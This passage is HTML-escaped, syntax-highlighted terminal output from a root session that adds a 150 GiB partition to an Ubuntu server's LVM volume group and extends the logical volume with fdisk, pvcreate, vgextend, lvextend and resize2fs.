class=\"n\">number</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"mi\">4</span><span class=\"o\">-</span><span class=\"mi\">128</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">default</span><span class=\"w\"> </span><span class=\"mi\">4</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"k\">First</span><span class=\"w\"> </span><span class=\"n\">sector</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"mi\">104855552</span><span class=\"o\">-</span><span class=\"mi\">419430366</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">default</span><span class=\"w\"> </span><span class=\"mi\">104855552</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"k\">Last</span><span class=\"w\"> </span><span class=\"n\">sector</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"n\">sectors</span><span class=\"w\"> </span><span class=\"ow\">or</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"k\">size</span><span class=\"err\">{</span><span class=\"n\">K</span><span class=\"p\">,</span><span class=\"n\">M</span><span class=\"p\">,</span><span class=\"n\">G</span><span class=\"p\">,</span><span class=\"n\">T</span><span class=\"p\">,</span><span class=\"n\">P</span><span class=\"err\">}</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"mi\">104855552</span><span class=\"o\">-</span><span class=\"mi\">419430366</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">default</span><span class=\"w\"> </span><span class=\"mi\">419430366</span><span class=\"p\">)</span><span class=\"err\">:</span>\n\n<span class=\"n\">Created</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"k\">partition</span><span class=\"w\"> </span><span class=\"mi\">4</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"n\">type</span><span class=\"w\"> </span><span class=\"s1\">&#39;Linux filesystem&#39;</span><span class=\"w\"> </span><span class=\"ow\">and</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"mi\">150</span><span class=\"w\"> </span><span class=\"n\">GiB</span><span class=\"p\">.</span>\n\n<span class=\"n\">Command</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">m</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">help</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"n\">t</span>\n<span class=\"k\">Partition</span><span class=\"w\"> </span><span class=\"n\">number</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"o\">-</span><span class=\"mi\">4</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">default</span><span class=\"w\"> </span><span class=\"mi\">4</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">4</span>\n<span class=\"k\">Partition</span><span class=\"w\"> </span><span class=\"n\">type</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">type</span><span class=\"w\"> </span><span class=\"n\">L</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"n\">list</span><span class=\"w\"> </span><span class=\"ow\">all</span><span class=\"w\"> </span><span class=\"n\">types</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">8</span><span class=\"n\">e</span>\n\n<span class=\"n\">Type</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"k\">partition</span><span class=\"w\"> </span><span class=\"mi\">4</span><span class=\"w\"> </span><span class=\"k\">is</span><span class=\"w\"> </span><span class=\"nl\">unchanged</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Linux</span><span class=\"w\"> </span><span class=\"n\">filesystem</span><span class=\"p\">.</span>\n\n<span class=\"n\">Command</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">m</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">help</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"n\">w</span>\n<span class=\"n\">The</span><span class=\"w\"> </span><span class=\"k\">partition</span><span class=\"w\"> </span><span class=\"nc\">table</span><span class=\"w\"> </span><span class=\"n\">has</span><span class=\"w\"> </span><span class=\"n\">been</span><span class=\"w\"> </span><span class=\"n\">altered</span><span class=\"p\">.</span>\n<span class=\"n\">Syncing</span><span class=\"w\"> </span><span class=\"n\">disks</span><span class=\"p\">.</span>\n\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">partprobe</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">s</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"nl\">sda</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">gpt</span><span class=\"w\"> </span><span class=\"n\">partitions</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"w\"> </span><span class=\"mi\">3</span><span class=\"w\"> </span><span class=\"mi\">4</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">mapper</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">--</span><span class=\"n\">vg</span><span class=\"o\">-</span><span class=\"n\">ubuntu</span><span class=\"o\">--</span><span class=\"nl\">lv</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">loop</span><span class=\"w\"> </span><span class=\"n\">partitions</span><span class=\"w\"> </span><span class=\"mi\">1</span>\n<span class=\"nl\">Warning</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Unable</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"k\">open</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sr0</span><span class=\"w\"> </span><span class=\"k\">read</span><span class=\"o\">-</span><span class=\"k\">write</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">Read</span><span class=\"o\">-</span><span class=\"k\">only</span><span class=\"w\"> </span><span class=\"k\">file</span><span class=\"w\"> </span><span class=\"k\">system</span><span class=\"p\">).</span><span class=\"w\">  </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sr0</span><span class=\"w\"> </span><span class=\"n\">has</span><span class=\"w\"> </span><span class=\"n\">been</span><span class=\"w\"> </span><span class=\"n\">opened</span><span class=\"w\"> </span><span class=\"k\">read</span><span class=\"o\">-</span><span class=\"k\">only</span><span class=\"p\">.</span>\n<span class=\"nl\">Warning</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Unable</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"k\">open</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sr0</span><span class=\"w\"> </span><span class=\"k\">read</span><span class=\"o\">-</span><span class=\"k\">write</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">Read</span><span class=\"o\">-</span><span class=\"k\">only</span><span class=\"w\"> </span><span class=\"k\">file</span><span class=\"w\"> </span><span class=\"k\">system</span><span class=\"p\">).</span><span class=\"w\">  </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sr0</span><span class=\"w\"> </span><span class=\"n\">has</span><span class=\"w\"> </span><span class=\"n\">been</span><span class=\"w\"> </span><span class=\"n\">opened</span><span class=\"w\"> </span><span class=\"k\">read</span><span class=\"o\">-</span><span class=\"k\">only</span><span class=\"p\">.</span>\n<span class=\"nl\">Warning</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Unable</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"k\">open</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sr0</span><span class=\"w\"> </span><span class=\"k\">read</span><span class=\"o\">-</span><span class=\"k\">write</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">Read</span><span class=\"o\">-</span><span class=\"k\">only</span><span class=\"w\"> </span><span class=\"k\">file</span><span class=\"w\"> </span><span class=\"k\">system</span><span class=\"p\">).</span><span class=\"w\">  </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sr0</span><span class=\"w\"> </span><span class=\"n\">has</span><span class=\"w\"> </span><span class=\"n\">been</span><span class=\"w\"> </span><span class=\"n\">opened</span><span class=\"w\"> </span><span class=\"k\">read</span><span class=\"o\">-</span><span class=\"k\">only</span><span class=\"p\">.</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"nl\">sr0</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">mac</span><span class=\"w\"> </span><span class=\"n\">partitions</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"mi\">2</span>\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">fdisk</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">l</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"nl\">loop0</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">91</span><span class=\"w\"> </span><span class=\"n\">MiB</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">95408128</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">186344</span><span class=\"w\"> </span><span class=\"n\">sectors</span>\n<span class=\"nl\">Units</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">sectors</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">Sector</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">logical</span><span class=\"o\">/</span><span class=\"n\">physical</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">I</span><span class=\"o\">/</span><span class=\"n\">O</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">minimum</span><span class=\"o\">/</span><span class=\"n\">optimal</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n\n\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"nl\">sda</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">200</span><span class=\"w\"> </span><span class=\"n\">GiB</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">214748364800</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">419430400</span><span class=\"w\"> </span><span class=\"n\">sectors</span>\n<span class=\"nl\">Units</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">sectors</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">Sector</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">logical</span><span class=\"o\">/</span><span class=\"n\">physical</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">I</span><span class=\"o\">/</span><span class=\"n\">O</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">minimum</span><span class=\"o\">/</span><span class=\"n\">optimal</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">Disklabel</span><span class=\"w\"> </span><span class=\"nl\">type</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">gpt</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"nl\">identifier</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">C6597B3B</span><span class=\"o\">-</span><span class=\"mi\">17</span><span class=\"n\">F0</span><span class=\"o\">-</span><span class=\"mi\">482</span><span class=\"n\">A</span><span class=\"o\">-</span><span class=\"n\">AF5D</span><span class=\"o\">-</span><span class=\"mi\">6056</span><span class=\"n\">F7788052</span>\n\n<span class=\"n\">Device</span><span class=\"w\">         </span><span class=\"k\">Start</span><span class=\"w\">       </span><span class=\"k\">End</span><span class=\"w\">   </span><span class=\"n\">Sectors</span><span class=\"w\">  </span><span class=\"k\">Size</span><span class=\"w\"> </span><span class=\"n\">Type</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda1</span><span class=\"w\">       </span><span class=\"mi\">2048</span><span class=\"w\">      </span><span class=\"mi\">4095</span><span class=\"w\">      </span><span class=\"mi\">2048</span><span class=\"w\">    </span><span class=\"mi\">1</span><span class=\"n\">M</span><span class=\"w\"> </span><span class=\"n\">BIOS</span><span class=\"w\"> </span><span class=\"n\">boot</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda2</span><span class=\"w\">       </span><span class=\"mi\">4096</span><span class=\"w\">   </span><span class=\"mi\">2101247</span><span class=\"w\">   </span><span class=\"mi\">2097152</span><span class=\"w\">    </span><span class=\"mi\">1</span><span class=\"n\">G</span><span class=\"w\"> </span><span class=\"n\">Linux</span><span class=\"w\"> </span><span class=\"n\">filesystem</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda3</span><span class=\"w\">    </span><span class=\"mi\">2101248</span><span class=\"w\"> </span><span class=\"mi\">104855551</span><span class=\"w\"> </span><span class=\"mi\">102754304</span><span class=\"w\">   </span><span class=\"mi\">49</span><span class=\"n\">G</span><span class=\"w\"> </span><span class=\"n\">Linux</span><span class=\"w\"> </span><span class=\"n\">filesystem</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda4</span><span class=\"w\">  </span><span class=\"mi\">104855552</span><span class=\"w\"> </span><span class=\"mi\">419430366</span><span class=\"w\"> </span><span class=\"mi\">314574815</span><span class=\"w\">  </span><span class=\"mi\">150</span><span class=\"n\">G</span><span class=\"w\"> </span><span class=\"n\">Linux</span><span class=\"w\"> </span><span class=\"n\">filesystem</span>\n\n\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">mapper</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">--</span><span class=\"n\">vg</span><span class=\"o\">-</span><span class=\"n\">ubuntu</span><span class=\"o\">--</span><span class=\"nl\">lv</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">49</span><span class=\"w\"> </span><span class=\"n\">GiB</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">52609155072</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">102752256</span><span class=\"w\"> </span><span class=\"n\">sectors</span>\n<span class=\"nl\">Units</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">sectors</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">Sector</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">logical</span><span class=\"o\">/</span><span class=\"n\">physical</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">I</span><span class=\"o\">/</span><span class=\"n\">O</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">minimum</span><span class=\"o\">/</span><span class=\"n\">optimal</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">pvcreate</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda</span>\n<span class=\"n\">sda</span><span class=\"w\">   </span><span class=\"n\">sda1</span><span class=\"w\">  </span><span class=\"n\">sda2</span><span class=\"w\">  </span><span class=\"n\">sda3</span><span class=\"w\">  </span><span class=\"n\">sda4</span>\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">pvcreate</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda4</span>\n<span class=\"w\">  </span><span class=\"n\">Physical</span><span class=\"w\"> </span><span class=\"n\">volume</span><span class=\"w\"> </span><span class=\"ss\">&quot;/dev/sda4&quot;</span><span class=\"w\"> </span><span class=\"n\">successfully</span><span class=\"w\"> </span><span class=\"n\">created</span><span class=\"p\">.</span>\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">vgdisplay</span>\n<span class=\"w\">  </span><span class=\"o\">---</span><span class=\"w\"> </span><span class=\"n\">Volume</span><span class=\"w\"> </span><span class=\"k\">group</span><span class=\"w\"> </span><span class=\"o\">---</span>\n<span class=\"w\">  </span><span class=\"n\">VG</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"w\">               </span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span>\n<span class=\"w\">  </span><span class=\"k\">System</span><span class=\"w\"> </span><span class=\"n\">ID</span>\n<span class=\"w\">  </span><span class=\"nf\">Format</span><span class=\"w\">                </span><span class=\"n\">lvm2</span>\n<span class=\"w\">  </span><span class=\"n\">Metadata</span><span class=\"w\"> </span><span class=\"n\">Areas</span><span class=\"w\">        </span><span class=\"mi\">1</span>\n<span class=\"w\">  </span><span class=\"n\">Metadata</span><span class=\"w\"> </span><span class=\"k\">Sequence</span><span class=\"w\"> </span><span class=\"k\">No</span><span class=\"w\">  </span><span class=\"mi\">3</span>\n<span class=\"w\">  </span><span class=\"n\">VG</span><span class=\"w\"> </span><span class=\"n\">Access</span><span class=\"w\">             </span><span class=\"k\">read</span><span class=\"o\">/</span><span class=\"k\">write</span>\n<span class=\"w\">  </span><span class=\"n\">VG</span><span class=\"w\"> </span><span class=\"n\">Status</span><span class=\"w\">             </span><span class=\"n\">resizable</span>\n<span class=\"w\">  </span><span class=\"nf\">MAX</span><span class=\"w\"> </span><span class=\"n\">LV</span><span class=\"w\">                </span><span class=\"mi\">0</span>\n<span class=\"w\">  </span><span class=\"n\">Cur</span><span class=\"w\"> </span><span class=\"n\">LV</span><span class=\"w\">                </span><span class=\"mi\">1</span>\n<span class=\"w\">  </span><span class=\"k\">Open</span><span class=\"w\"> </span><span class=\"n\">LV</span><span class=\"w\">               </span><span class=\"mi\">1</span>\n<span class=\"w\">  </span><span class=\"nf\">Max</span><span class=\"w\"> </span><span class=\"n\">PV</span><span class=\"w\">                </span><span class=\"mi\">0</span>\n<span class=\"w\">  </span><span class=\"n\">Cur</span><span class=\"w\"> </span><span class=\"n\">PV</span><span class=\"w\">                </span><span class=\"mi\">1</span>\n<span class=\"w\">  </span><span class=\"n\">Act</span><span class=\"w\"> </span><span class=\"n\">PV</span><span class=\"w\">                </span><span class=\"mi\">1</span>\n<span class=\"w\">  </span><span class=\"n\">VG</span><span class=\"w\"> </span><span class=\"k\">Size</span><span class=\"w\">               </span><span class=\"o\">&lt;</span><span class=\"mf\">49.00</span><span class=\"w\"> </span><span class=\"n\">GiB</span>\n<span class=\"w\">  </span><span class=\"n\">PE</span><span class=\"w\"> </span><span class=\"k\">Size</span><span class=\"w\">               </span><span class=\"mf\">4.00</span><span class=\"w\"> </span><span class=\"n\">MiB</span>\n<span class=\"w\">  </span><span class=\"n\">Total</span><span class=\"w\"> </span><span class=\"n\">PE</span><span class=\"w\">              </span><span class=\"mi\">12543</span>\n<span class=\"w\">  </span><span class=\"n\">Alloc</span><span class=\"w\"> </span><span class=\"n\">PE</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"k\">Size</span><span class=\"w\">       </span><span class=\"mi\">12543</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"mf\">49.00</span><span class=\"w\"> </span><span class=\"n\">GiB</span>\n<span class=\"w\">  </span><span class=\"k\">Free</span><span class=\"w\">  </span><span class=\"n\">PE</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"k\">Size</span><span class=\"w\">       </span><span class=\"mi\">0</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">0</span>\n<span class=\"w\">  </span><span class=\"n\">VG</span><span class=\"w\"> </span><span class=\"n\">UUID</span><span class=\"w\">               </span><span class=\"n\">FJI08W</span><span class=\"o\">-</span><span class=\"n\">C0Db</span><span class=\"o\">-</span><span class=\"n\">dXmu</span><span class=\"o\">-</span><span class=\"n\">WPyq</span><span class=\"o\">-</span><span class=\"n\">Zlr9</span><span class=\"o\">-</span><span class=\"n\">Lejq</span><span class=\"o\">-</span><span class=\"n\">xadlCk</span>\n\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">vgextend</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda4</span>\n<span class=\"w\">  </span><span class=\"n\">Volume</span><span class=\"w\"> </span><span class=\"k\">group</span><span class=\"w\"> </span><span class=\"ss\">&quot;ubuntu-vg&quot;</span><span class=\"w\"> </span><span class=\"n\">successfully</span><span class=\"w\"> </span><span class=\"n\">extended</span>\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">pvscan</span>\n<span class=\"w\">  </span><span class=\"n\">PV</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda3</span><span class=\"w\">   </span><span class=\"n\">VG</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span><span class=\"w\">       </span><span class=\"n\">lvm2</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"n\">&lt;49.00 GiB / 0    free</span><span class=\"o\">]</span>\n<span class=\"w\">  </span><span class=\"n\">PV</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda4</span><span class=\"w\">   </span><span class=\"n\">VG</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span><span class=\"w\">       </span><span class=\"n\">lvm2</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"n\">&lt;150.00 GiB / &lt;150.00 GiB free</span><span class=\"o\">]</span>\n<span class=\"w\">  </span><span class=\"nl\">Total</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"n\">198.99 GiB</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"k\">use</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"n\">198.99 GiB</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"k\">no</span><span class=\"w\"> </span><span class=\"nl\">VG</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"n\">0   </span><span class=\"o\">]</span>\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">lvextend</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">lv</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda4</span>\n<span class=\"w\">  </span><span class=\"k\">Size</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"n\">logical</span><span class=\"w\"> </span><span class=\"n\">volume</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">lv</span><span class=\"w\"> </span><span class=\"n\">changed</span><span class=\"w\"> </span><span class=\"k\">from</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"mf\">49.00</span><span class=\"w\"> </span><span class=\"n\">GiB</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"mi\">12543</span><span class=\"w\"> </span><span class=\"n\">extents</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"mf\">198.99</span><span class=\"w\"> </span><span class=\"n\">GiB</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"mi\">50942</span><span class=\"w\"> </span><span class=\"n\">extents</span><span class=\"p\">).</span>\n<span class=\"w\">  </span><span class=\"n\">Logical</span><span class=\"w\"> </span><span class=\"n\">volume</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">lv</span><span class=\"w\"> </span><span class=\"n\">successfully</span><span class=\"w\"> </span><span class=\"n\">resized</span><span class=\"p\">.</span>\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">resize2fs</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span><span class=\"o\">/</span><span 